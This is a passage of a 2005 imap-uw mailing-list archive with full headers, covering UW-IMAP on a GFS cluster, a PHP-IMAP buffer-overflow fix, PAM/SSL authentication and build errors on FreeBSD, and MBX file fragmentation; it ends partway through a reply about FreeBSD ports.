(8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2IY6NY016993 for ; Fri, 2 Dec 2005 10:34:06 -0800 Received: from pony.uvm.edu (pony.uvm.edu [132.198.101.202]) by mxe7.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2IY5Pd011177 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 2 Dec 2005 10:34:05 -0800 Received: from [132.198.104.238] (mammal.uvm.edu [132.198.104.238]) (authenticated bits=0) by pony.uvm.edu (8.13.5/8.13.5) with ESMTP id jB2IY4RO007278 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 2 Dec 2005 13:34:04 -0500 Message-ID: <4390939C.8000006@uvm.edu> Date: Fri, 02 Dec 2005 13:34:04 -0500 From: Jim Lawson User-Agent: Mozilla Thunderbird 1.0.7 (X11/20050923) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Subject: Re: GFS Anybody? Was: [Imap-uw] imap and NFS References: <1133243111.47.1039973322@it.usyd.edu.au> <1133496900.18.646314850@it.usyd.edu.au> <43904BE3.8040503@luxsci.com> In-Reply-To: <43904BE3.8040503@luxsci.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu We have been running UW-IMAP on top of GFS for almost 2 years now at UVM, running both mbox and mbx formatted mailboxes. It is a 6-node cluster, with 3 lock managers running in failover (not distributed) mode. The 6 mail nodes are attached to a switched SAN, and the storage is provided by an IBM DS4800. This is not a recommended config, obviously (and MRC has reminded us of this :-) However, when we still had a single-system running UW-IMAP, we decided to give the cluster a try, which would hopefully provide better scalability while still providing a single-system image - preventing us from having to touch 15,000+ desktop systems spread across the state. To make this work, we had to make a few small changes to the UW-IMAP code base. The INBOX directory (/var/spool/mail) and c-client lockfile location (/tmp) had to be moved to a GFS-shared filesystem, and into a directory hash. Spool files were hashed by username (mine is /var/spool/mail/j/t/jtl), c-client lockfiles were hashed by the LSB of the inode number (so lockfile .fe06.7bcdf3 gets put in /gfs/tmp/f/3/.fe06.7bcdf3). The hashing reduces directory lock contention, which can make GFS perform worse than a single system with local filesystems. We also had to write a simple daemon to listen for the "kiss of death" used to break locks on older connected imapds. Basically, the c-client lockfile also includes the node ID, and if c-client wants to KOD someone on another node, a UDP packet gets sent to that node, received on that node by a daemon, who sends the KOD locally. The daemon is affectionately named "dkod". We're still running it, so we've had some level of success, but it is not problem-free. Occasionally, we see imapds that have deadlocked, for reasons that we can't explain. The problem exhibits itself to the user as a mailbox that can't be opened read-write. However, we've *never* seen corruption of mailboxes under GFS (and we DID see that occasionally on the old single-system.) In the beginning, there were bugs in GFS that we tickled with our particular config, but Sistina (now RedHat) has fixed the problems that we've run into. A good piece of advice is: don't create very large (1TB) filesystems, because they can take days to fsck. We haven't had to fsck in over a year, but in the first months of running it when we had some bad hardware and a filesystem with minor corruption, we had to take some filesystems down for hours while it was fsck'd. Sometimes we were better off moving all the data we could off the filesystem and creating a new filesystem in its place. Again, that hasn't happened in over a year. Overall, we're mostly happy with it at this point, although it would have been nice to avoid the first few months of pain that we had due to bugs in the filesystem. We'd be happy to share code if anyone's interested. Jim Erik Kangas wrote: > Hello? > > As a next step to the discussion of UW Imap on NFS, has anyone played > with UW IMAP on GFS (RedHat Global File System - > http://www.redhat.com/en_us/USA/home/solutions/gfs/) in an environment > where multiple IMAP machines are sharing the files. > >>From what I have read, GFS should take care of all the locking and > synchronization across a large number of attached machines without any > problem. Specifically, the file system appears and behaves like a local > file system. However, GFS is relatively new and not specifically > supported by most SAN vendors. > > If anyone has any experience setting up a SAN with GFS with load > balanced UW IMAP servers using a folder format that depends on the > NFS-averse file system operations (i.e. mbx) please let us all know what > you have seen. > > Thank you, > > -Erik Kangas > http://LuxSci.com > _______________________________________________ > Imap-uw mailing list > Imap-uw@u.washington.edu > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Dec 2 12:28:20 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 2 Dec 2005 12:28:20 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2KSKWe009049 for ; Fri, 2 Dec 2005 12:28:20 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2KSJLn031382 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 2 Dec 2005 12:28:20 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2KSEo7010858 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 2 Dec 2005 12:28:15 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2KSERL012077; Fri, 2 Dec 2005 12:28:14 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2KSC6i012069 for ; Fri, 2 Dec 2005 12:28:12 -0800 Received: from mail03.cc.ysu.edu (MAIL03.CC.YSU.EDU [150.134.10.203]) by mxe7.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2KS9Dh021023 for ; Fri, 2 Dec 2005 12:28:10 -0800 Received: from MAIL03.CC.YSU.EDU(150.134.10.203) by ysuwebshield01.ysu.edu via smtp id 0865_2773cc78_6372_11da_9c5e_0002b3c8850b; Fri, 02 Dec 2005 15:28:09 -0500 Received: from dalbec.meshel.ysu.edu ([150.134.8.36]) by mail03.cc.ysu.edu with esmtp (Exim 4.54) id 1EiH1I-00039h-DG for imap-uw@u.washington.edu; Fri, 02 Dec 2005 14:56:41 -0500 Message-ID: <4390A6F2.8070503@ysu.edu> Date: Fri, 02 Dec 2005 14:56:34 -0500 From: John Dalbec User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Scan-Signature: 8b7030a394f38681a3284013467f98a6 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] rfc822_write_address_full X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I'm trying to fix a buffer overflow in PHP-IMAP. It declares a buffer of size MAILTMPLEN (=1024) and then uses rfc822_write_address_full to write a canonical version of the first address from each of the From: and To: headers into the buffer. I found an e-mail in a user's INBOX that had a corrupted To: header with unbalanced double quotes that made the whole thing look like one long e-mail address. This e-mail triggered a segfault every time the user tried to log in to Horde. Is there a snprintf-style version of rfc822_write_address_full that could be used instead? Would it be reasonable to limit rfc822_write_address_full to writing at most MAILTMPLEN bytes? Thanks, John Dalbec _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Dec 2 12:59:19 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 2 Dec 2005 12:59:19 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2KxJPW010395 for ; Fri, 2 Dec 2005 12:59:19 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2KxIml032006 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 2 Dec 2005 12:59:18 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2KxE5a017148 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 2 Dec 2005 12:59:14 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2KxE5s018752; Fri, 2 Dec 2005 12:59:14 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2KxDeI018728 for ; Fri, 2 Dec 2005 12:59:13 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2KxDbq002580 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 2 Dec 2005 12:59:13 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2KxCqs001048 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 2 Dec 2005 12:59:12 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2KxA3F006318 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Fri, 2 Dec 2005 12:59:12 -0800 Date: Fri, 2 Dec 2005 12:59:10 -0800 (PST) From: Mark Crispin To: John Dalbec Subject: Re: [Imap-uw] rfc822_write_address_full In-Reply-To: <4390A6F2.8070503@ysu.edu> Message-ID: References: <4390A6F2.8070503@ysu.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu rfc822_write_address_full() is a legacy function. It's used in c-client in only two places: as part rfc822_header(), and in address searching (which does a bounds check). rfc822_header() is also legacy; it's called from rfc822_output() which the application is supported to replace with its own rfc822out_t function. Basically, you either need to do the equivalent bounds checking to what is done by mail_search_addr(), or use your own function to write the address. It's been on my list for some time to get rid of these routines in favor of routines which use the soutr_t mechanism (since their primary purpose is for rfc822_output(), and make the old names be macros into the new interface. Thanks for reminding me. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Dec 2 13:14:18 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 2 Dec 2005 13:14:18 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2LEIC0011665 for ; Fri, 2 Dec 2005 13:14:18 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2LEH2p001570 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 2 Dec 2005 13:14:17 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2LECOn004567 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 2 Dec 2005 13:14:12 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2LECUY021531; Fri, 2 Dec 2005 13:14:12 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2LEBH6021523 for ; Fri, 2 Dec 2005 13:14:11 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2LEAX3027831 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 2 Dec 2005 13:14:11 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2LE7eF001616 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 2 Dec 2005 13:14:10 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2LE5Dm009868 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Fri, 2 Dec 2005 13:14:06 -0800 Date: Fri, 2 Dec 2005 13:14:04 -0800 (PST) From: Mark Crispin To: "Jose Wilson A. do Nascimento" Subject: Re: [Imap-uw] Authentic In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 2 Dec 2005, Jose Wilson A. do Nascimento wrote: > I am inexperienced in the list, I am with some problems to use > imap-uw, I installed in the FreeBSD imap-uw to legalize way imap the user > of the database of the LDAP, by means of PAM it. What this happening is > the following one, I make login with user registered in of the database in > the LDAP imap makes to request for the PAM and the PAM to verify in the > base the user, but not legalizes the user. everyone had a similar > experience. Did you set up a /etc/pam.d/imap file with the PAM rules that you need? Does your client use an SSL connection to the IMAP server (port 993), or negotiate STARTTLS on port 143? By default, you can not do password authentication in IMAP unless either SSL or TLS encryption is in effect. Read imap-200*/docs/SSLBUILD for more information. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Dec 5 12:17:23 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Dec 2005 12:17:23 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB5KHNIt008513 for ; Mon, 5 Dec 2005 12:17:23 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB5KHMGT011437 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 5 Dec 2005 12:17:23 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB5KHJdP031086 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 5 Dec 2005 12:17:19 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB5KHJiL024811; Mon, 5 Dec 2005 12:17:19 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB5KHIVM024801 for ; Mon, 5 Dec 2005 12:17:18 -0800 Received: from andrew.triumf.ca (andrew.triumf.ca [142.90.106.59]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB5KHHgs000450 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 5 Dec 2005 12:17:17 -0800 Received: from localhost (localhost [127.0.0.1]) by andrew.triumf.ca (8.12.8/8.12.8) with ESMTP id jB5KHEKo019775 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 5 Dec 2005 12:17:14 -0800 Date: Mon, 5 Dec 2005 12:17:14 -0800 (PST) From: Andrew Daviel X-X-Sender: andrew@andrew.triumf.ca To: imap-uw@u.washington.edu Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Received-SPF: pass (andrew.triumf.ca: localhost is always allowed.) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __KNOWN_SPAMMER_ADDRESS_5 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] Mail file fragmentation on Linux X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I am running UW imapd and dmail with MBX mailbox format. I noticed using debugfs "stat " that the mail file can get quite badly fragmented over time. I wondered if there was any way to discourage this in the MBX code. One thing that occurred to me was that maybe when the file is growed to append new messages, that the requested allocation have "room for expansion", e.g. rounded up to the next 20 blocks or something. (maybe it already does this) Just copying the mail file to a new location and moving it back seems to get the fragmentation under control. As an example, after this procedure, my mailbox had fragments of about 1k blocks. Before, a heavy user had fragments of about 3 blocks each, not all contiguous or even in order. Seems to me this must slow down disk access a bit -- Andrew Daviel, TRIUMF, Canada Tel. +1 (604) 222-7376 (Pacific Time) security@triumf.ca _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Dec 6 04:33:19 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 6 Dec 2005 04:33:19 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB6CXJdQ031157 for ; Tue, 6 Dec 2005 04:33:19 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB6CXIfP001673 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 6 Dec 2005 04:33:18 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB6CXEHQ019954 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 6 Dec 2005 04:33:14 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB6CXEnY022049; Tue, 6 Dec 2005 04:33:14 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB6CXE9g022041 for ; Tue, 6 Dec 2005 04:33:14 -0800 Received: from tango.pop-df.rnp.br (tango.pop-df.rnp.br [200.130.38.84]) by mxe3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB6CXC4g007415 for ; Tue, 6 Dec 2005 04:33:13 -0800 Received: from tango.pop-df.rnp.br (localhost.pop-df.rnp.br [127.0.0.1]) by tango.pop-df.rnp.br (8.13.2/8.13.2) with ESMTP id jB6CaB97075789; Tue, 6 Dec 2005 10:36:11 -0200 (EDT) Received: from localhost (wilson@localhost) by tango.pop-df.rnp.br (8.13.2/8.13.2/Submit) with ESMTP id jB6CaAIV075786; Tue, 6 Dec 2005 10:36:10 -0200 (EDT) X-Authentication-Warning: tango.pop-df.rnp.br: wilson owned process doing -bs Date: Tue, 6 Dec 2005 10:36:10 -0200 (EDT) From: "Jose Wilson A. do Nascimento" To: Mark Crispin Subject: Re: [Imap-uw] Authentic In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu hi, What I am needing is to compile imap-uw with the options PASSWDTYPE=pam and SSLTYPE=unix, but nao I am obtaining, leaves for error. My system is the FreeBSD-5.4-STABLE. Some suggestion Building bundled tools... cd mtest;make `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -c mtest.c `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -o mtest mtest.o ../c-client/c-client.a `cat ../c-client/LDFLAGS` /usr/bin/ld: cannot find -ldl *** Error code 1 Stop in /usr/local/src/imap-2004f/mtest. *** Error code 1 Stop in /usr/local/src/imap-2004f. *** Error code 1 Stop in /usr/local/src/imap-2004f. On Fri, 2 Dec 2005, Mark Crispin wrote: > On Fri, 2 Dec 2005, Jose Wilson A. do Nascimento wrote: > > I am inexperienced in the list, I am with some problems to use > > imap-uw, I installed in the FreeBSD imap-uw to legalize way imap the user > > of the database of the LDAP, by means of PAM it. What this happening is > > the following one, I make login with user registered in of the database in > > the LDAP imap makes to request for the PAM and the PAM to verify in the > > base the user, but not legalizes the user. everyone had a similar > > experience. > > Did you set up a /etc/pam.d/imap file with the PAM rules that you need? > > Does your client use an SSL connection to the IMAP server (port 993), or > negotiate STARTTLS on port 143? By default, you can not do password > authentication in IMAP unless either SSL or TLS encryption is in effect. > Read imap-200*/docs/SSLBUILD for more information. > > -- Mark -- > > http://panda.com/mrc > Democracy is two wolves and a sheep deciding what to eat for lunch. > Liberty is a well-armed sheep contesting the vote. > _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Dec 6 06:00:39 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 6 Dec 2005 06:00:39 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB6E0dXq002157 for ; Tue, 6 Dec 2005 06:00:39 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB6E0aVl016001 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 6 Dec 2005 06:00:36 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB6E0W6Q001160 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 6 Dec 2005 06:00:32 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB6E0WCq021656; Tue, 6 Dec 2005 06:00:32 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB6E0VcJ021648 for ; Tue, 6 Dec 2005 06:00:31 -0800 Received: from sce.cnc.una.py (sce.cnc.una.py [200.10.228.133]) by mxe4.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB6DxtDf008917 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 6 Dec 2005 06:00:09 -0800 Received: from alpha.cnc.una.py (alpha.cnc.una.py [200.10.228.103]) by sce.cnc.una.py (8.12.9/8.11.4) with ESMTP id jB6DxUHx096373; Tue, 6 Dec 2005 10:59:30 -0300 (PYST) Received: from fsbkpc.cnc.una.py (fsbkpc.cnc.una.py [200.10.228.102]) by alpha.cnc.una.py (8.12.8/8.12.8) with SMTP id jB6DxS7Z021270; Tue, 6 Dec 2005 10:59:30 -0300 Date: Tue, 6 Dec 2005 10:59:27 -0300 From: Derlis =?ISO-8859-1?Q?Z=E1rate?= To: wilson@pop-df.rnp.br Subject: Re: [Imap-uw] Authentic Message-Id: <20051206105927.1b871b5c@fsbkpc.cnc.una.py> In-Reply-To: References: Organization: Centro Nacional de =?ISO-8859-1?Q?Computaci=F3n?= X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-unknown-freebsd5.1) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi,=20 To compile the program with this options "make bsf SSLTYPE=3Dunix PASSWDTYPE=3Dpam" you can use the FreeBSD ports tree. There are two alternatives: --------------- (a) Option 1: --------------- In FreeBSD, the cclient and imap-uw ports has the install target, but the w= ay to establish the options differs from the imap-uw documentation. To do "make bsf SSLTYPE=3Dunix PASSWDTYPE=3Dpam" in the ports I execute=20 this commands 1) cclient: # cd /usr/ports/mail/cclient # vi Makefile Add: 